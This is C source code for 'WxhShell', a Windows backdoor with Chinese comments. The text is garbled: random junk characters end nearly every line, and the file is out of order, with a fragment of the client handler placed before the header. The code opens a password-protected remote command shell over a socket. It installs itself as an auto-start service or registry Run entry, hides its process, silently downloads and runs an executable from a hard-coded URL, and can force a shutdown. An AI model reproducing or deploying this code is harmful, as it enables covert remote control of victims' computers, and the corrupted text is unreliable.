    if(Boot(SHUTDOWN)) r-Xe<|w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [tf^i:2  
    else { OVo  
    closesocket(wsh); P;o>~Y>x  
    ExitThread(0); PdN\0B `  
    } _M4v1Hr48  
    break; V7'x? pt  
    } A_*Lo6uII  
  // 获取shell #LyjJmQ  
  case 's': { }b\q<sNE{  
    CmdShell(wsh); e^Wv*OD'  
    closesocket(wsh); Tvw2py q  
    ExitThread(0); e`2R{H  
    break; xr3PO?:  
  } pC. 4AkEO  
  // 退出 =ZIFS  
  case 'x': { <m gTWv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jL).B&  
    CloseIt(wsh); k<";t  
    break; PL_wa(}y]D  
    } U*U )l$!  
  // 离开 SK}g(X7IWH  
  case 'q': { Nl)jQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MC)W?  
    closesocket(wsh); Wq&c,H  
    WSACleanup(); ]Tw6Fg1o>  
    exit(1); (s*Uz3 sq  
    break; #_sVB~sn@  
        } <).qe Z  
  } fTtSx_}3H  
  } #UeU:RJ1  
=0fx6V  
  // 提示信息 1L qJ@v0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ly5L-=Xb  
} I2!HXMrp  
  } X1qj l_A  
?G<I N)  
  return; J|8YB3K,  
} %D0Ws9:|  
OWfj<#}t+  
// shell模块句柄 Z'm%3  
int CmdShell(SOCKET sock) $^ dk>Hj>4  
{ @<JQn^M  
STARTUPINFO si; Mo|5)8_  
ZeroMemory(&si,sizeof(si)); 6T_c#G5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _u5U> w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RA67w&  
PROCESS_INFORMATION ProcessInfo;  :!FwF65  
char cmdline[]="cmd"; +mv%z3"j;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T )]|o+G  
  return 0; [M>_(u6  
} [+7X&B  
7)wq9];w  
// 自身启动模式 y~1php>2f1  
int StartFromService(void) M<pgaB0  
{ ?y@pR e$2  
typedef struct '2{o_<m  
{ ,Gx=e!-N5  
  DWORD ExitStatus; "g[UX{L  
  DWORD PebBaseAddress; _I5+o\;1  
  DWORD AffinityMask; xF+x I6  
  DWORD BasePriority; aV, J_Q6r  
  ULONG UniqueProcessId; .;6bMP[YA  
  ULONG InheritedFromUniqueProcessId; .1lc'gu5y  
}   PROCESS_BASIC_INFORMATION; l6Bd<tSH  
Bn:sN_N  
PROCNTQSIP NtQueryInformationProcess; pz=Wq4 l  
xWV7#Z7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7^X_tQf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W4a20KM2  
9oz)E>K4f  
  HANDLE             hProcess; K#m o+n5-;  
  PROCESS_BASIC_INFORMATION pbi; V#KM~3e  
SJ@_eir\o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p4_uY7^6  
  if(NULL == hInst ) return 0; `"4EE}eQc  
AOUO',v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "ET"dMxU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #JM*QVzv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .JjuY'-Q  
^[akB|#\9  
  if (!NtQueryInformationProcess) return 0; &|*|  
>X)G`N@ !  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H>9$L~  
  if(!hProcess) return 0; =Ybu_>  
aQ\O ]gCE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \C|06Bs $  
zf#&3K'k  
  CloseHandle(hProcess); F4Z0g*^x  
~=*_I4,+r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Mq$=zsj  
if(hProcess==NULL) return 0; vj0?b/5m  
>?<d}9X  
HMODULE hMod; Xw5" JE!.  
char procName[255]; i[J',  
unsigned long cbNeeded; %R>MSSjvr  
GjBQxn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `#U6`[[  
+__Rk1CVh  
  CloseHandle(hProcess); S0yT%V  
uM#/  
if(strstr(procName,"services")) return 1; // 以服务启动 mQJGKh&Pk  
dGjvSK<1@  
  return 0; // 注册表启动 XwMC/]lK<  
} d?.x./1[qi  
R\?!r4  
// 主模块 _Qas+8NW  
int StartWxhshell(LPSTR lpCmdLine) Jsl,r+'H  
{ { q<l]jn9  
  SOCKET wsl; v>R.ou(  
BOOL val=TRUE; =c'LG   
  int port=0; A:Z:&(NtE:  
  struct sockaddr_in door; K.~U%v}  
#$E vybETx  
  if(wscfg.ws_autoins) Install(); ,5:86'p  
C54)eT6  
port=atoi(lpCmdLine); _u; UU$~  
HL]?CWtGP  
if(port<=0) port=wscfg.ws_port; xm5D$m3#  
\=~Ap#Mpc4  
  WSADATA data; )9O{4PbU!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; % e(,PL  
7 &Aakl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gK'MUZ()  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rOGJ%|%(  
  door.sin_family = AF_INET; 3}Pa,u N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xs/hqIXB  
  door.sin_port = htons(port); K(^x)w r-:  
}2S \-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }{"\"Bn_  
closesocket(wsl); .wywO|  
return 1; TXM.,5Dx\  
} bUNp>H>L  
^ 9i^Ci9  
  if(listen(wsl,2) == INVALID_SOCKET) { Oc>-jhx?  
closesocket(wsl); (ym)q#^  
return 1; I$&/?ns@O  
} PhQD}|S  
  Wxhshell(wsl); M}>q>  
  WSACleanup(); JQqDUd  
>vhyKq|g<  
return 0; iy 5  
ZpyRvDz  
} ~A)$="  
Zl)|x%z  
// 以NT服务方式启动 1N &U{#4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U&NOf;h$  
{ V*N9D>C  
DWORD   status = 0; FYJB.lAT  
  DWORD   specificError = 0xfffffff; '"EOLr\Z,  
*HRRv.iQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t9}XO M*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f  W )  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?#'qY6 ^  
  serviceStatus.dwWin32ExitCode     = 0; WBGYk);  
  serviceStatus.dwServiceSpecificExitCode = 0; k)J7) L  
  serviceStatus.dwCheckPoint       = 0; k1<Py$9"  
  serviceStatus.dwWaitHint       = 0; fiZ8s=J  
c?d#Bj ?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TJ<PT  
  if (hServiceStatusHandle==0) return; E$T#o{pai  
/D  q]=P  
status = GetLastError();  >Pu*MD;  
  if (status!=NO_ERROR) (bw;zNW  
{ P|?z1JUd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R[(,wY_1  
    serviceStatus.dwCheckPoint       = 0; _F,OS<>  
    serviceStatus.dwWaitHint       = 0; qz:OnQv!  
    serviceStatus.dwWin32ExitCode     = status; <i5^izg  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;dnn 2)m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #[8gH>7  
    return; $2.DZ  
  } 3 R m$  
AYi$LsLhO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hug12Cu  
  serviceStatus.dwCheckPoint       = 0; ,ZSuo4  
  serviceStatus.dwWaitHint       = 0; r{btBv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V6L_aee}CK  
} s-*XAn ot  
>dM'UpN@  
// 处理NT服务事件,比如:启动、停止 Wwz>tE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ps]6,@uyB  
{ 3B0%:Jj  
switch(fdwControl) ;# {x_>M  
{ (7IF5g\  
case SERVICE_CONTROL_STOP: Q*wx6Pu8  
  serviceStatus.dwWin32ExitCode = 0; _YY)-H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }LRAe3N%8  
  serviceStatus.dwCheckPoint   = 0; I4*N  
  serviceStatus.dwWaitHint     = 0; kB 2bT}  
  { sw&Qks? V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v6GWD}HH,  
  }  u32<=Q[  
  return; zb<+x(0y"  
case SERVICE_CONTROL_PAUSE: ^ey\ c1K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |!|`Je3 K  
  break; ovl@[>OB  
case SERVICE_CONTROL_CONTINUE: l20q(lb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o^ 4+eE  
  break; OhTO*C8  
case SERVICE_CONTROL_INTERROGATE: s[g1e i9  
  break; iPIA&)x}  
}; wK3}K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V*?,r<(  
}  D;5RcZ  
s^U^n//  
// 标准应用程序主函数 F,D &  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V$@2:@8mo  
{ vD(;VeW[  
lyV]-w  
// 获取操作系统版本 dug RO[  
OsIsNt=GetOsVer(); PyoLk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4e:hKv,+4  
qUo(hbp  
  // 从命令行安装 @ f$P*_G   
  if(strpbrk(lpCmdLine,"iI")) Install(); B4b UcYk  
czp5MU_^  
  // 下载执行文件 ZpdM[\Q-  
if(wscfg.ws_downexe) { =}L[/RL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ze~\=X" "  
  WinExec(wscfg.ws_filenam,SW_HIDE); E )PEKWK\  
} ^O ?$} sr  
$&4Zw6"=  
if(!OsIsNt) { ; R67a V,  
// 如果时win9x,隐藏进程并且设置为注册表启动 0QPipuP  
HideProc(); ed{9UJWh  
StartWxhshell(lpCmdLine); XH. _Z  
} ."lY>(HJ  
else ED6H  
  if(StartFromService()) Q.N^1?(>k  
  // 以服务方式启动 WgIVhj  
  StartServiceCtrlDispatcher(DispatchTable); a}fW3+>  
else <sTa Xaq?  
  // 普通方式启动 T4UY%E!0  
  StartWxhshell(lpCmdLine); Y}Ov`ZM!r  
&8(2U-  
return 0; G0^PnE0-  
} f ZISwr  
_E~uuFMn*R  
OS!47Z /q  
&@RU}DnvM&  
=========================================== # WxH  
c(~M<nL0  
mdk:2ndP  
^^[,aBu  
l/`Z+];  
5p~Z-kU&  
" B<o i,S  
tpVtbh1)u  
#include <stdio.h> ]6nF>C-C  
#include <string.h> VTF),e!  
#include <windows.h> )j$Bo{  
#include <winsock2.h> _WkK%RYV  
#include <winsvc.h> ^yX W.s  
#include <urlmon.h> :!|xg! |y  
( R0   
#pragma comment (lib, "Ws2_32.lib") H'Po  
#pragma comment (lib, "urlmon.lib") LWW0lG!_F  
Wbc % G8  
#define MAX_USER   100 // 最大客户端连接数 g ` Wr3  
#define BUF_SOCK   200 // sock buffer rg $71Ir  
#define KEY_BUFF   255 // 输入 buffer {c$W-t):U|  
 $% jV%k  
#define REBOOT     0   // 重启 9/'j<v6M  
#define SHUTDOWN   1   // 关机 Mn=_lhW K  
b w cPY  
#define DEF_PORT   5000 // 监听端口 9|go`^*.  
/E*P0y~KTW  
#define REG_LEN     16   // 注册表键长度 ;zGGT^Dn  
#define SVC_LEN     80   // NT服务名长度 UqAvFCy  
ljk-xC p/  
// 从dll定义API _Q7)FK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @P8q=j}l9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m{1By/U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~"LOw_BRh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =\q3;5[  
Z8:iaP)  
// wxhshell配置信息 ^RY_j>i  
struct WSCFG { UgUW4x'+  
  int ws_port;         // 监听端口 4iKT  
  char ws_passstr[REG_LEN]; // 口令 co;2s-X  
  int ws_autoins;       // 安装标记, 1=yes 0=no \=QG6&_  
  char ws_regname[REG_LEN]; // 注册表键名 SY)o<MD  
  char ws_svcname[REG_LEN]; // 服务名 ;mMn-+3<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C|>#|5XaF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %xY'v$ %  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F:\y#U6"J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tvg7mU]l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Wima=xYe\5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JY /Cd6\  
f",B;C  
}; SI@I  
H kg0;)  
// default Wxhshell configuration W}EO]A%f.\  
struct WSCFG wscfg={DEF_PORT, $u`;{8  
    "xuhuanlingzhe", YT-t$QyL  
    1, "=Ziy4V  
    "Wxhshell", T\]z0M  
    "Wxhshell",  Im#3sn  
            "WxhShell Service", [H"Ods~_`  
    "Wrsky Windows CmdShell Service", SQEXC*08  
    "Please Input Your Password: ", > sUk6Z~  
  1, wi&m(f(~  
  "http://www.wrsky.com/wxhshell.exe", F35e/YfG  
  "Wxhshell.exe" 'vh:(-  
    }; v!W,h2:J  
za24-q  
// 消息定义模块  Z3I<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ((H}d?^AJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /at#[Pw~01  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }U8H4B~UtY  
char *msg_ws_ext="\n\rExit."; +pDuRr  
char *msg_ws_end="\n\rQuit."; XX/cJp  
char *msg_ws_boot="\n\rReboot..."; {gJOc,U4b  
char *msg_ws_poff="\n\rShutdown..."; ny#7iz/  
char *msg_ws_down="\n\rSave to "; -]N/P{=L  
V+E2nJ  
char *msg_ws_err="\n\rErr!"; ost~<4~  
char *msg_ws_ok="\n\rOK!"; hLBX,r)u  
VNPuOU=  
char ExeFile[MAX_PATH]; (0Y6tcV]R  
int nUser = 0; ~DCw [y  
HANDLE handles[MAX_USER]; hmks\eb~  
int OsIsNt; Um*{~=;u  
M34*$>bk  
SERVICE_STATUS       serviceStatus; Z EG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u< ):gI  
l_$~~z ~  
// 函数声明 (/Nw  
int Install(void); z<)?8tAgq  
int Uninstall(void); TG'A'wXxy  
int DownloadFile(char *sURL, SOCKET wsh); ;N i+TS  
int Boot(int flag); Rh: \/31~  
void HideProc(void); 03# r F@e  
int GetOsVer(void); cA_v*`YL  
int Wxhshell(SOCKET wsl); lS}5bcjR=k  
void TalkWithClient(void *cs); cz.-cuD[iD  
int CmdShell(SOCKET sock); @1rF9< 4g  
int StartFromService(void); R_(A&,  
int StartWxhshell(LPSTR lpCmdLine); PF4Cs3m/  
"&7v.-Y k(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %vMi kibI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YsLEbue   
#K  ]k  
// 数据结构和表定义 / EWF0XV!  
SERVICE_TABLE_ENTRY DispatchTable[] = #O G_O I  
{  M)Y`u  
{wscfg.ws_svcname, NTServiceMain}, Ib]{rmaP  
{NULL, NULL} 84|Hn|4t  
}; D @T,j4o  
qc@CV:  
// 自我安装 5.idC-\  
int Install(void) 1 aIJ0#nE  
{ TVYO`9:CW  
  char svExeFile[MAX_PATH]; ?. CA9!|   
  HKEY key; +|\dVe.  
  strcpy(svExeFile,ExeFile); 1)M3*h3  
L{osh0  
// 如果是win9x系统,修改注册表设为自启动 sexnO^s  
if(!OsIsNt) { Av7bp[OD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e>Is$+[`7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R$NH [Tz  
  RegCloseKey(key); WCU[]A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wrt3p-N"D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HlLF<k~}  
  RegCloseKey(key); NNSn]LP  
  return 0; Gv3a<Knn4  
    } ~[l2"@  
  } G^oBu^bq~  
} Xv6z>z.  
else { = R; 0Ed&b  
&yWl8O  
// 如果是NT以上系统,安装为系统服务 X+Xjf(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pX|\J>u)  
if (schSCManager!=0) 6i,d|  
{ 6Kg lp\2  
  SC_HANDLE schService = CreateService E WOn"   
  ( iC$~v#2  
  schSCManager, V/<dHOfR\  
  wscfg.ws_svcname, j[9xF<I  
  wscfg.ws_svcdisp, IZniRd;  
  SERVICE_ALL_ACCESS, iiKFV>;t/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (lT H EiX  
  SERVICE_AUTO_START, ME{i-E4  
  SERVICE_ERROR_NORMAL, Peh( *D{  
  svExeFile, $0NWX  
  NULL, CQQX7Y\  
  NULL, >\%44ba6  
  NULL, lzw3 x  
  NULL, RCnN+b:c  
  NULL ,RDxu7iT  
  ); t k2B\}6  
  if (schService!=0) H+\rCefba  
  { d8/lEmv[  
  CloseServiceHandle(schService); ^`Vt<DMT  
  CloseServiceHandle(schSCManager); ~1i,R1_\Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _~fO8_vr  
  strcat(svExeFile,wscfg.ws_svcname); v`bX#\It  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I Yj\t?,0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FK;\Nce&  
  RegCloseKey(key); x]J{EA{+  
  return 0; XLI'f$w&  
    } a|  
  } {HlUV33O  
  CloseServiceHandle(schSCManager); bvk+i?{H  
} TdG[b1xN  
} C.FGi`rrm  
<j-Bj$3  
return 1; _)ZAf% f?  
} ;9/6X#;$  
.9S  
// 自我卸载 s=u0M;A0Q  
int Uninstall(void) YLJH?=2@  
{ O"nY4  
  HKEY key; LX!16a@SxA  
\bZbz/+D  
if(!OsIsNt) { M +~guTh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WQ|d;[E  
  RegDeleteValue(key,wscfg.ws_regname); lKxv SyD  
  RegCloseKey(key); hnmFhJ !g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fu(e4E  
  RegDeleteValue(key,wscfg.ws_regname); &l-g3l[  
  RegCloseKey(key); 4cTJ$" v  
  return 0; 0`3ey*  
  } &W)k s  
}  J<V}g v  
} 76 #  
else { e}-uU7O  
Wi'BX#xCB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W9ZT=#>)[  
if (schSCManager!=0) qL,QsRwN  
{ ?so 3Kj6H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T<mk98CdE  
  if (schService!=0) K &Ht37T  
  { 9L*gxI>  
  if(DeleteService(schService)!=0) { ,iB)8Km@U  
  CloseServiceHandle(schService); mAX]m1s  
  CloseServiceHandle(schSCManager); )U`H7\*)  
  return 0; kS[k*bN0  
  } pzCD' !*  
  CloseServiceHandle(schService); uZW ?0W  
  } |Gzd|$%Oq  
  CloseServiceHandle(schSCManager); |bVNlL"xN  
} nZ$,Bjb  
} iEsI  
8n,i5>!d  
return 1; I^qk`5w  
} /1gKc}rB2  
 7=6p  
// 从指定url下载文件 VQ$=F8ivG  
int DownloadFile(char *sURL, SOCKET wsh) mdoy1a  
{ D-8%lGS  
  HRESULT hr; 0 jVuF l  
char seps[]= "/"; ?k<wI)JR  
char *token; GmcxN<  
char *file;  N_=7  
char myURL[MAX_PATH]; F C2oP,  
char myFILE[MAX_PATH]; Q4Hf!v]r  
pz:$n_XC}  
strcpy(myURL,sURL); 9 %,_G.  
  token=strtok(myURL,seps); `Z{; c  
  while(token!=NULL) I`5F& 8J{  
  { L`V6\Ix(I  
    file=token; o`DBzC  
  token=strtok(NULL,seps); u> %r(  
  } VX[{X8PkS  
? Ls]k  
GetCurrentDirectory(MAX_PATH,myFILE); 3|[:8  
strcat(myFILE, "\\"); P(VQD>G  
strcat(myFILE, file); >6@*%LM  
  send(wsh,myFILE,strlen(myFILE),0); "a?k #!E  
send(wsh,"...",3,0); lmz{,O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /thCu%%9A  
  if(hr==S_OK) *$1*\oCtz  
return 0; a' .o  
else /ZvNgaH5M  
return 1; Iu[^"  
!Z<GUbl t  
} S2*-UluG  
H*A)U'`  
// 系统电源模块 ) Z0  
int Boot(int flag) /?9e{,\s  
{ A&Ut:OiA  
  HANDLE hToken; '4L i  
  TOKEN_PRIVILEGES tkp; WvAl!^{`  
23U9+  
  if(OsIsNt) { BYhPOg[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $ *MjNj2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y=vA ;BE]R  
    tkp.PrivilegeCount = 1; jSaEwN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MztT/31S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7 G~MqnO|  
if(flag==REBOOT) { !:c7I@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "sUe:F;  
  return 0; VS%8f.7ep  
} h7~&rWb  
else { l9qq;hhGP,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dG Qy=T:  
  return 0; 4<ER dP7"-  
} RD=!No?  
  } 8:huWjh]M  
  else { :kOLiko!4>  
if(flag==REBOOT) { oMkB!s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?Xlmt$Jp  
  return 0; rw ^^12)  
} :>Z0Kb}7  
else { qV/"30,K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *xkbKkm  
  return 0; {S~2m2up0L  
} '"GdO;}&  
} 6:330"9  
0 -=onX  
return 1; ZZ]/9oiF%  
} A^3cP, L  
[\@!~F{  
// win9x进程隐藏模块 YZr^;jfP  
void HideProc(void) ucJR #14  
{ QEQ8gfN9>  
Kcsje_I-M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q.K >v'  
  if ( hKernel != NULL ) ]^8:"Ky'  
  { (x&#>5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9/~m837x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^Ac0#oX]M  
    FreeLibrary(hKernel); pZlBpGQf  
  } X.j#??  
zc*qmb  
return; P]yER9'  
} _&19OD%  
I]~xs0$4#  
// 获取操作系统版本 rv9qF |2r{  
int GetOsVer(void) sOz jViv  
{ )n5]+VTZ5  
  OSVERSIONINFO winfo; N95"dNZE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dK|MQ <  
  GetVersionEx(&winfo); [0m'a\YE9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o:f=dBmoX  
  return 1; 7M3q|7 ?  
  else ^ }U{O A  
  return 0; }x~|XbG  
} <!5N=-  
!+U#^2Gz  
// 客户端句柄模块 ENA8o}n  
int Wxhshell(SOCKET wsl) 9} eIidwK  
{ q>]v~  
  SOCKET wsh; UF D_  
  struct sockaddr_in client; ;=_<\2  
  DWORD myID; C]A*B  
N]KqSpPh  
  while(nUser<MAX_USER) Q]{DhDz ?+  
{ 7yeZ+lD  
  int nSize=sizeof(client); iMk`t:!;#"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k8Qv>z  
  if(wsh==INVALID_SOCKET) return 1; va~:oA  
_~HGMC)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `z Z=#p/  
if(handles[nUser]==0) "y_$!KY%  
  closesocket(wsh); h*_r=' E  
else o'>jO.|  
  nUser++; <2}"Y(zwKl  
  } &X}9D)\UJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Wq&TbWR  
3j]La  
  return 0; 0EPF; Xx  
} \n`UkxZn+  
SY>N-fW\H:  
// 关闭 socket T/-PSfbkj  
void CloseIt(SOCKET wsh) }9 qsPn  
{ XO"!)qF  
closesocket(wsh); *`|.:'  
nUser--; cMC1|3  
ExitThread(0); @<>](4D  
} lJ}G"RTm  
sBwkHsDD  
// 客户端请求句柄 ?#J~ X\5  
void TalkWithClient(void *cs) fCx~K'UWn  
{ FRs5 Pb1  
d<`Z{"g NS  
  SOCKET wsh=(SOCKET)cs; 9 r+' o#  
  char pwd[SVC_LEN]; dkG-Yz~  
  char cmd[KEY_BUFF]; ,i>5\Yl%  
char chr[1]; U~Uxs\0:  
int i,j; *5*d8;@>  
FZj tQ{M  
  while (nUser < MAX_USER) { k}F;e_  
(a&.Ad0{  
if(wscfg.ws_passstr) { Ev*HH+:b>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N<$ uAns  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m feyR  
  //ZeroMemory(pwd,KEY_BUFF); i+21tG$  
      i=0; *AZC{jP  
  while(i<SVC_LEN) { :S~XE  
@HIC i]  
  // 设置超时 N@tzYD|hA  
  fd_set FdRead; FIC 2)  
  struct timeval TimeOut; #FTXy>W  
  FD_ZERO(&FdRead); M={k4r_t  
  FD_SET(wsh,&FdRead); <:RU,  
  TimeOut.tv_sec=8; NFmB ^@k  
  TimeOut.tv_usec=0; ]=@>;yP)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `A&64D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XImb"7|  
xQWZk`6~L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `4\H'p  
  pwd=chr[0]; ]%>;R^HY  
  if(chr[0]==0xd || chr[0]==0xa) { o#%2N+w  
  pwd=0; R%7k<1d'`  
  break; sI9~TZ :  
  } r IS \#j  
  i++; ~y B[}BPf  
    } K'1rS[^>R  
}KS[(Q  
  // 如果是非法用户,关闭 socket 0DS<(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UL"Jwq D  
} -2% [ ]  
+c\fDVv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K<Iz5+oD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :rk]o*  
q;>'jHh  
while(1) { g>VkQos5"  
uysGOyi<u  
  ZeroMemory(cmd,KEY_BUFF); crZ\:LeJ  
_W]3_1Lu  
      // 自动支持客户端 telnet标准   mgH4)!Z*56  
  j=0; ZVK;m1?'  
  while(j<KEY_BUFF) { Er~5\9,/<]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CO4*"~']t  
  cmd[j]=chr[0]; j&Z:|WniK  
  if(chr[0]==0xa || chr[0]==0xd) { i>b^n+74>  
  cmd[j]=0; BR"*-$u0;  
  break; /F/`?=1<$  
  } i&"I/!3Q@  
  j++; 3YA !2  
    } urXM}^  
?\ho9nyK  
  // 下载文件 - Nplx  
  if(strstr(cmd,"http://")) { }tc,3> /  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pX6OhwkTK  
  if(DownloadFile(cmd,wsh)) auL?Hb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tao3Xr^?  
  else /c3 DltOdr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z#"6&kv  
  } HYW+,ts'  
  else { 1Voo($q.  
]2K>#sn-]  
    switch(cmd[0]) { `,\WhJ?9  
  p]=8=pE<  
  // 帮助 o?/N4$&5l  
  case '?': { pS0-<-\R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b>I -4  
